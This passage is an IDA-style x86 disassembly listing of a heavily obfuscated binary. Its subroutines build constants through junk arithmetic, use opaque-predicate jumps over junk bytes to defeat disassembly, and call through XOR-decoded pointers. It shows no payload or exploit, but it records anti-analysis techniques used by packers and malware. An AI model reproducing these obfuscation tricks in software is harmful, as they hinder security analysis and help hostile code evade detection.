		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		push	4
		pop	ecx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		and	al, cl
		mov	bh, 0Fh
		and	bl, 0
		dec	bh
		sub	bh, 3
		dec	bh
		sub	bh, 1
		dec	bh
		and	ah, bh
		pop	ecx
		pop	ebx
		test	eax, eax
		jz	short loc_4A1F1A
		not	eax
		add	eax, 1
		stc
		jmp	short loc_4A1F20
; ---------------------------------------------------------------------------


loc_4A1F1A:				; CODE XREF: sub_4A1DE4+12Cj
		not	eax
		add	eax, 1
		clc


loc_4A1F20:				; CODE XREF: sub_4A1DE4+134j
		sbb	eax, eax
		add	eax, 1
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_4A1F2F
		and	eax, 0
		jmp	short loc_4A1F33
; ---------------------------------------------------------------------------


loc_4A1F2F:				; CODE XREF: sub_4A1DE4+9Fj
					; sub_4A1DE4+144j
		and	eax, 0
		inc	eax


loc_4A1F33:				; CODE XREF: sub_4A1DE4+149j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3FC
		xor	ecx, dword_4ED400
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A1F56
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A1F56:				; CODE XREF: sub_4A1DE4+167j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D54
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A1DE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A1F6A	proc near		; DATA XREF: sub_4965D8+13C1o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		mov	ebx, [ebp+arg_4]
		dec	esi
		dec	edi
		xor	edx, edx
		or	ebx, edx
		jz	short loc_4A1FA6
		dec	edi
		and	eax, 0
		jmp	short loc_4A1FAD
; ---------------------------------------------------------------------------


loc_4A1FA6:				; CODE XREF: sub_4A1F6A+34j
		dec	edi
		and	eax, 0
		dec	edi
		dec	edi
		inc	eax


loc_4A1FAD:				; CODE XREF: sub_4A1F6A+3Aj
		mov	[ebp+var_8], eax
		mov	eax, dword_4ED3D0
		xor	eax, dword_4ED3D4
		shl	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4A1FCF
		mov	ecx, [ebp+var_4]
		or	ecx, 1
		mov	[ebp+var_4], ecx


loc_4A1FCF:				; CODE XREF: sub_4A1F6A+5Aj
		mov	edx, [ebp+var_4]
		push	edx
		call	off_4F1D28
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A1F6A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A1FE3	proc near		; DATA XREF: sub_4965D8+AB9o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DCC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		push	40h
		pop	ecx
		xor	ecx, 40h
		and	al, cl
		mov	bh, 0Fh
		and	bl, 0
		dec	bh
		sub	bh, 3
		dec	bh
		sub	bh, 1
		dec	bh
		jo	short loc_4A202F
		jl	short loc_4A202D


loc_4A2028:				; CODE XREF: sub_4A1FE3:loc_4A202Dj
					; sub_4A1FE3:loc_4A202Fj
		jmp	short loc_4A2031
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A202D:				; CODE XREF: sub_4A1FE3+43j
		jz	short loc_4A2028


loc_4A202F:				; CODE XREF: sub_4A1FE3+41j
		jmp	short loc_4A2028
; ---------------------------------------------------------------------------


loc_4A2031:				; CODE XREF: sub_4A1FE3:loc_4A2028j
		and	ah, bh
		pop	ecx
		pop	ebx
		test	eax, eax
		jz	short loc_4A2041
		not	eax
		add	eax, 1
		stc
		jmp	short loc_4A2047
; ---------------------------------------------------------------------------


loc_4A2041:				; CODE XREF: sub_4A1FE3+54j
		not	eax
		add	eax, 1
		clc


loc_4A2047:				; CODE XREF: sub_4A1FE3+5Cj
		sbb	eax, eax
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3FC
		xor	ecx, dword_4ED400
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A206F
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A206F:				; CODE XREF: sub_4A1FE3+81j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D54
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A1FE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A2083	proc near		; DATA XREF: sub_4965D8+883o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 41h
		mov	ecx, 0Dh
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		jo	short loc_4A20BE
		jl	short loc_4A20BC


loc_4A20B9:				; CODE XREF: sub_4A2083:loc_4A20BCj
					; sub_4A2083:loc_4A20BEj
		jmp	short loc_4A20C0
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4A20BC:				; CODE XREF: sub_4A2083+34j
		jz	short loc_4A20B9


loc_4A20BE:				; CODE XREF: sub_4A2083+32j
		jmp	short loc_4A20B9
; ---------------------------------------------------------------------------


loc_4A20C0:				; CODE XREF: sub_4A2083:loc_4A20B9j
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		jo	short loc_4A20D5
		jl	short loc_4A20D3


loc_4A20D0:				; CODE XREF: sub_4A2083:loc_4A20D3j
					; sub_4A2083:loc_4A20D5j
		jmp	short loc_4A20D7
; ---------------------------------------------------------------------------
		icebp


loc_4A20D3:				; CODE XREF: sub_4A2083+4Bj
		jz	short loc_4A20D0


loc_4A20D5:				; CODE XREF: sub_4A2083+49j
		jmp	short loc_4A20D0
; ---------------------------------------------------------------------------


loc_4A20D7:				; CODE XREF: sub_4A2083:loc_4A20D0j
		dec	ecx
		inc	ecx
		add	cl, 3
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 9
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D0
		xor	ecx, dword_4ED3D4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A2124
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A2124:				; CODE XREF: sub_4A2083+96j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D28
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2083	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A2138	proc near		; DATA XREF: sub_4965D8+75Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1E00h
		pop	ebx
		jo	short loc_4A216C
		jl	short loc_4A216A


loc_4A2167:				; CODE XREF: sub_4A2138:loc_4A216Aj
					; sub_4A2138:loc_4A216Cj
		jmp	short loc_4A216E
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_4A216A:				; CODE XREF: sub_4A2138+2Dj
		jz	short loc_4A2167


loc_4A216C:				; CODE XREF: sub_4A2138+2Bj
		jmp	short loc_4A2167
; ---------------------------------------------------------------------------


loc_4A216E:				; CODE XREF: sub_4A2138:loc_4A2167j
		sub	bh, 4
		inc	bh
		sub	bh, 2
		inc	bh
		inc	bh
		dec	bh
		push	eax
		dec	bh
		dec	bh
		inc	bh
		dec	bh
		dec	bh
		jo	short loc_4A2190
		jl	short loc_4A218E


loc_4A218B:				; CODE XREF: sub_4A2138:loc_4A218Ej
					; sub_4A2138:loc_4A2190j
		jmp	short loc_4A2192
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_4A218E:				; CODE XREF: sub_4A2138+51j
		jz	short loc_4A218B


loc_4A2190:				; CODE XREF: sub_4A2138+4Fj
		jmp	short loc_4A218B
; ---------------------------------------------------------------------------


loc_4A2192:				; CODE XREF: sub_4A2138:loc_4A218Bj
		and	eax, 40h
		dec	bh
		sub	bh, 12h
		sub	bh, 3
		pop	eax
		dec	bh
		and	ah, bh
		mov	edx, 12h
		dec	dl
		sub	dl, 1
		dec	dl
		sub	dl, 9
		inc	dl
		dec	dl
		dec	dl
		dec	dl
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D8
		xor	ecx, dword_4ED3DC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A21E5
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A21E5:				; CODE XREF: sub_4A2138+A2j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D30
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2138	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A21F9	proc near		; DATA XREF: sub_4965D8+223o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		dec	bh
		and	eax, 800h
		jo	short loc_4A2215
		jl	short loc_4A2213


loc_4A2210:				; CODE XREF: sub_4A21F9:loc_4A2213j
					; sub_4A21F9:loc_4A2215j
		jmp	short loc_4A2217
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_4A2213:				; CODE XREF: sub_4A21F9+15j
		jz	short loc_4A2210


loc_4A2215:				; CODE XREF: sub_4A21F9+13j
		jmp	short loc_4A2210
; ---------------------------------------------------------------------------


loc_4A2217:				; CODE XREF: sub_4A21F9:loc_4A2210j
		mov	ebx, 4
		and	eax, ebx
		mov	ch, 52h
		dec	ch
		mov	ebx, [ebp+arg_4]
		xor	ecx, ecx
		or	ebx, ecx
		jz	short loc_4A2236
		dec	edi
		sub	ch, 2
		dec	ch
		and	eax, 0
		jmp	short loc_4A2257
; ---------------------------------------------------------------------------


loc_4A2236:				; CODE XREF: sub_4A21F9+30j
		dec	edi
		dec	ecx
		sub	ch, 2
		dec	ch
		dec	ch
		sub	ch, 8
		jo	short loc_4A224B
		jl	short loc_4A2249


loc_4A2246:				; CODE XREF: sub_4A21F9:loc_4A2249j
					; sub_4A21F9:loc_4A224Bj
		jmp	short loc_4A224D
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_4A2249:				; CODE XREF: sub_4A21F9+4Bj
		jz	short loc_4A2246


loc_4A224B:				; CODE XREF: sub_4A21F9+49j
		jmp	short loc_4A2246
; ---------------------------------------------------------------------------


loc_4A224D:				; CODE XREF: sub_4A21F9:loc_4A2246j
		and	eax, 0
		dec	ecx
		sub	ch, 2
		inc	eax
		dec	ch


loc_4A2257:				; CODE XREF: sub_4A21F9+3Bj
		mov	[ebp+var_8], eax
		mov	eax, dword_4ED418
		xor	eax, dword_4ED41C
		shl	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4A2279
		mov	ecx, [ebp+var_4]
		or	ecx, 1
		mov	[ebp+var_4], ecx


loc_4A2279:				; CODE XREF: sub_4A21F9+75j
		mov	edx, [ebp+var_4]
		push	edx
		call	off_4F1D70
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A21F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A228D	proc near		; DATA XREF: sub_4965D8+2EFo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DEC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 80h
		jmp	short loc_4A22B6
; ---------------------------------------------------------------------------
		mov	ebx, 4


loc_4A22B6:				; CODE XREF: sub_4A228D+22j
		mov	ebx, 41h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		and	eax, 0
		and	ebx, 800h
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED41C
		xor	ecx, dword_4ED420
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A22FE
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A22FE:				; CODE XREF: sub_4A228D+66j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D74
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A228D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A2312	proc near		; DATA XREF: sub_4965D8+4F8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_4A2337
		jl	short loc_4A2335


loc_4A2332:				; CODE XREF: sub_4A2312:loc_4A2335j
					; sub_4A2312:loc_4A2337j
		jmp	short loc_4A2339
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4A2335:				; CODE XREF: sub_4A2312+1Ej
		jz	short loc_4A2332


loc_4A2337:				; CODE XREF: sub_4A2312+1Cj
		jmp	short loc_4A2332
; ---------------------------------------------------------------------------


loc_4A2339:				; CODE XREF: sub_4A2312:loc_4A2332j
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		jo	short loc_4A238D
		jl	short loc_4A238B


loc_4A2388:				; CODE XREF: sub_4A2312:loc_4A238Bj
					; sub_4A2312:loc_4A238Dj
		jmp	short loc_4A238F
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4A238B:				; CODE XREF: sub_4A2312+74j
		jz	short loc_4A2388


loc_4A238D:				; CODE XREF: sub_4A2312+72j
		jmp	short loc_4A2388
; ---------------------------------------------------------------------------


loc_4A238F:				; CODE XREF: sub_4A2312:loc_4A2388j
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		pop	ecx
		pop	ebx
		test	eax, eax
		jnz	loc_4A245A
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 800h
		jmp	short loc_4A23D6
; ---------------------------------------------------------------------------
		mov	ebx, 80h


loc_4A23D6:				; CODE XREF: sub_4A2312+BDj
		mov	ebx, 72h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		add	ebx, 8
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_4A2419
		jl	short loc_4A2417


loc_4A2412:				; CODE XREF: sub_4A2312:loc_4A2417j
					; sub_4A2312:loc_4A2419j
		jmp	short loc_4A241B
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A2417:				; CODE XREF: sub_4A2312+FEj
		jz	short loc_4A2412


loc_4A2419:				; CODE XREF: sub_4A2312+FCj
		jmp	short loc_4A2412
; ---------------------------------------------------------------------------


loc_4A241B:				; CODE XREF: sub_4A2312:loc_4A2412j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 41h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1500h
		dec	dh
		sub	dh, 3
		dec	dh
		sub	dh, 7
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_4A245A
		and	eax, 0
		inc	eax
		jmp	short loc_4A245D
; ---------------------------------------------------------------------------


loc_4A245A:				; CODE XREF: sub_4A2312+AEj
					; sub_4A2312+140j
		and	eax, 0


loc_4A245D:				; CODE XREF: sub_4A2312+146j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F0
		xor	ecx, dword_4ED3F4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A2480
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A2480:				; CODE XREF: sub_4A2312+163j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D48
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2312	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A2494	proc near		; DATA XREF: sub_4965D8+141Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D94
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0F00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		jo	short loc_4A252E
		jl	short loc_4A252C


loc_4A2529:				; CODE XREF: sub_4A2494:loc_4A252Cj
					; sub_4A2494:loc_4A252Ej
		jmp	short loc_4A2530
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4A252C:				; CODE XREF: sub_4A2494+93j
		jz	short loc_4A2529


loc_4A252E:				; CODE XREF: sub_4A2494+91j
		jmp	short loc_4A2529
; ---------------------------------------------------------------------------


loc_4A2530:				; CODE XREF: sub_4A2494:loc_4A2529j
		cmp	eax, edx
		jo	short loc_4A253B
		jl	short loc_4A2539


loc_4A2536:				; CODE XREF: sub_4A2494:loc_4A2539j
					; sub_4A2494:loc_4A253Bj
		jmp	short loc_4A253D
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4A2539:				; CODE XREF: sub_4A2494+A0j
		jz	short loc_4A2536


loc_4A253B:				; CODE XREF: sub_4A2494+9Ej
		jmp	short loc_4A2536
; ---------------------------------------------------------------------------


loc_4A253D:				; CODE XREF: sub_4A2494:loc_4A2536j
		setnz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C4
		xor	ecx, dword_4ED3C8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A2565
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A2565:				; CODE XREF: sub_4A2494+C6j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D1C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2494	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A2579	proc near		; DATA XREF: sub_4965D8+C51o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	2
		pop	ebx
		dec	bl
		dec	bl
		and	al, bl
		mov	dh, 0Eh
		and	dl, 0
		sub	dh, 4
		dec	dh
		sub	dh, 1
		and	ah, dh
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_4A25C4
		not	eax
		add	eax, 1
		stc
		jmp	short loc_4A25CA
; ---------------------------------------------------------------------------


loc_4A25C4:				; CODE XREF: sub_4A2579+41j
		not	eax
		add	eax, 1
		clc


loc_4A25CA:				; CODE XREF: sub_4A2579+49j
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D0
		xor	ecx, dword_4ED3D4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A25F1
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A25F1:				; CODE XREF: sub_4A2579+6Dj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D28
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2579	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A2605	proc near		; DATA XREF: sub_4965D8+B2Bo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D80
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		sub	bl, 5
		dec	bl
		push	eax
		and	eax, ebx
		dec	bl
		dec	bl
		and	eax, 10h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1100h
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B0
		xor	ecx, dword_4ED3B4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A2683
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A2683:				; CODE XREF: sub_4A2605+73j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D08
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2605	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A2697	proc near		; DATA XREF: sub_4965D8+679o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0Fh
		pop	ebx
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 2
		add	bl, 0FFh
		dec	bl
		dec	bl
		add	bl, 0FFh
		add	bl, 0FFh
		dec	bl
		sub	bl, 1
		add	bl, 0FFh
		add	bl, 0FFh
		and	al, bl
		mov	dh, 14h
		and	dl, 0
		dec	dh
		sub	dh, 2
		dec	dh
		dec	dh
		sub	dh, 1
		dec	dh
		dec	dh
		inc	dh
		dec	dh
		dec	dh
		inc	dh
		dec	dh
		inc	dh
		dec	dh
		dec	dh
		inc	dh
		dec	dh
		dec	dh
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_4A2721
		not	eax
		add	eax, 1
		stc
		jmp	short loc_4A2727
; ---------------------------------------------------------------------------


loc_4A2721:				; CODE XREF: sub_4A2697+80j
		not	eax
		add	eax, 1
		clc


loc_4A2727:				; CODE XREF: sub_4A2697+88j
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E8
		xor	ecx, dword_4ED3EC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A274E
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A274E:				; CODE XREF: sub_4A2697+ACj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D40
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2697	endp


; =============== S U B	R O U T	I N E =======================================
